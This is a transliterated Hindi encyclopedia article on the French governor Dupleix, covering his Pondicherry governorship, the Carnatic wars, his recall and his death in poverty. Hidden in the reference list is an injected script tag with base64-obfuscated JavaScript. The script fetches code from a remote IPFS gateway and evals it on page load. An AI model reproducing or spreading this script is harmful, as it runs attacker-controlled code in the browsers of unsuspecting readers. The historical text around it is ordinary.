डूप्ले
doople ka poora nam 'josef fraikvay doople' tha. vah fraansisi eest kampani ki vyaparik seva mean bharat aya aur bad ko 1731 ee. mean chandranagar ka gavarnar ban gaya. 1741 ee. mean vah pandicheri ka gavarnar-janaral banaya gaya aur 1754 ee. tak is pad par raha, jahaan se vah vapas bula liya gaya. vah yoddha n hote hue bhi ek kushal rajanitijn aur rajaneta tha. bharatiy itihas mean hue karnatak yuddhoan mean doople ne mahattvapoorn bhoomika nibhaee thi. in yuddhoan ke madhyam se doople ne apani ek amit chhap bharatiy itihas mean chho di hai.
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dooradarshi vyakti
doople ne apani dooradrishti se ye dekh liya[1] ki 18vian shatabdi ee. ke pancham dashak mean dakshin bharat ke rajanitik santulan mean parivartan ghatit ho raha hai. tatkalin dakshin bharat ki rajanitik vyavastha ki kamazoriyoan ko usane samajha aur is bat ko bhi mahasoos kiya ki ek chhoti si yooropiyan sena lambi doori ki mar kar sakane vali topoan, jaldi goli dagane vali paidal sipahiyoan ki bandookoan aur prashikshit sainikoan ki sahayata se dakshin bharat ki rajaniti mean nirnayak bhoomika ada kar sakati hai. is samay fraans aur ianglaiannd ke bich yuddh chal raha tha. doople ka uddeshy madras par qabza karake british shakti ko pangu bana dena tha. isi uddeshy se usane fraansisi jalasenapati la bordane ko apana jahazi be da sashakt karane ke lie dhan diya aur sitambar, 1746 ee. mean madras aangrezoan se chhin liya. la bordane, aangrezoan se ghoos lekar madras vapas kar dena chahata tha. lekin doople ne b di chaturaee se aisa nahian hone diya. barasat ane par la bordane ke be de ne jab madras se hatakar ayals af faans mean adda jamaya, to doople ne svayan jakar madras par adhikar kiya.
doople ki saphalata
doople aangrezoan ke nikatavarti set devid ke qile ko lena chahata tha, lekin viphal ho gaya. kintu any sthanoan par use ullekhaniy saphalataean mili. karnatak ke navab anavaruddin ne ek b di sena madras par qabza karane ke lie bheji, lekir use do bar fraansisi bharatiy sena dvara parast kiya gaya. ye donoan yuddh kaveri pak aur seant tom mean hue. yoorop mean fraans aur ianglaiannd ke bich yuddh 1748 ee. mean samapt ho gaya. donoan deshoan ke bich eks-la-chaipel ki sandhi huee, jisake anusar madras aangrezoan ko vapas kar diya gaya. is prakar doople ne jo shram kiya, vah vyarth gaya. kuchh bhi ho, doople ne yah siddh kar diya ki yooropiy dhang se prashikshit aur adhunik shastroan se lais chhoti si faansisi bharatiy sena is desh ki vishal bharatiy senaoan ki apeksha kahian adhik shreshth hai.
hastakshep ki niti
doople ne apane is anubhav ka prayog karake dakshin bharat ki riyasatoan ke antarik mamaloan mean dakhal dena shuroo kar diya. ye riyasatean bahar se dekhane par b di sashakt jan p dati thian, kintu sainik drishti se bahut kamazor tatha antarik vigrah se pi dit thian. 1748 ee. mean haidarabad ke nizam ke marane par jab uttaradhikar ka jhag da chala to doople ne hastakshep kiya aur nizam ke putr nasirajang ke viruddh pote mujaffarajang ka paksh liya. isi riti se doople ne karnatak mean navab anavaruddin ke viruddh chanda sahab ka paksh samarthan kiya. arambh mean doople ko kuchh saphalata bhi mili. 1749 ee. mean amboor ki l daee mean anavaruddin mara gaya. usaka putr muhammad ali bhagakar trichanapalli pahuanch gaya, jahaan chanda sahab aur fraansisiyoan ki sena ne use gher liya.
fraansisiyoan ki asaphalata
doosari or haidarabad mean 1750 ee. mean nasirajang mara gaya aur fraansisi janaral busi ke sanrakshan mean mujaffarajang nizam ki gaddi par baitha diya gaya. naye nizam ne doople ko krishnaa nadi ke dakshin mean samast mugal pradesh ka nizam man liya. naye nizam ne paandicheri ke asapas ke kshetr tatha u disa ke tatiy kshetr aur masulipattam bhi fraansisiyoan ko de diye. is prakar doople ne bharat mean fraansisi samrajy ki sthapana ke svapn ko sakar hote dekha. lekin bad mean usaka pasa palatane laga. vah jin fraansisiyoan janaraloan par nirbhar tha, ve b de ayogy sabit hue, phalat: usaki yojanaean viphal hone lagian. fraansisi senapati trichanapalli par qabza n kar sake. fraansisiyoan ke dvara trichanapalli ki gherabandi itane lambe samay tak chali ki aangrezi sena karnatak ke shahajade ki madad ke lie a gee. doosari or rabart klaib ke netritv mean ek aangrezi sena ne karnatak ki rajadhani arkat ke qile ko gher liya. yah ghera 50 din tak chala. kuchh aur aangrezi sena a jane par klaib ne chanda sahab ka parajit karake mar dala.
fraansisi sarakar ka nirnay
isi bich naya nizam mujaffarajang bhi mara gaya. usaki jagah salabajang gaddi par baitha. usane bhi fraansisiyoan se maitri qayam rakhi. doople trichanapalli par qabza karane ka barabar prayatn karata raha. usane tanjaur ke raja ko tatasth rakhane, maratha saradar murarirav ka samarthan prapt karane aur 31 disambar 1752 ee. ko trichanapalli ko gherabandi ek bar phir se shuroo kar di. yah gherabandi 1754 ee. ke madhy tak chali. jab yah sab kuchh ho raha tha, fraans ki sarakar ne doople ki nitiyoan ki mahatta ka nahian samajha aur bharat mean hone vali in l daiyoan ke bhari kharche se vah pareshan ho uthi. fraansisi sarakar ne doople ka kary poora hone ke pahale hi use 1754 ee. mean vapas svadesh bula liya aur usake sthan par 1 agast 1754 ee. ko janaral godehoo ko naya gavarnar-janaral bana diya. godehoo ne ate hi 1755 ee. mean aangrezoan se sandhi kar li. is sandhi ke anusar tay paya gaya ki aangrez aur fraansisi donoan hi bharatiy riyasatoan ke antarik mamaloan mean hastakshep nahian kareange aur jitana-jitana kshetr aangrezoan aur fraansisiyoan ke pas hai, vah unake pas hi bana rahega.
doople ki mrityu
is prakar se fraansisi sarakar ne hi doople ki niti ko viphal kar diya. yah avashy hua ki haidarabad ke nizam ke darabar mean fraansisiyoan ka prabhav bana raha aur vahaan janaral busi ke netritv mean fraansisi bharatiy fauj tainat rahi. nirash doople ki mrityu fraans mean 1763 ee. mean garibi ki dasha mean huee.
doople bhale hi viphal raha, par yah manana p dega ki vah bharatiy itihas ka ek pratibhashali aur shaktiman vyakti tha. doople ne jis rajanitik dooradrishti ka parichay diya, usase aangrezoan ne bad mean svayan labh uthaya. yadyapi fraansisi-bharatiy samrajy ki sthapana karane ka doople ka svapn sakar nahian hua, tathapi british bharatiy samrajy ki sthapana mukhyat: doople ki dooradrishti ke hi adhar par huee.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 183.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jaisa ki koee nahian kar saka
sanbandhit lekh
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varnamala kramanusar lekh khoj
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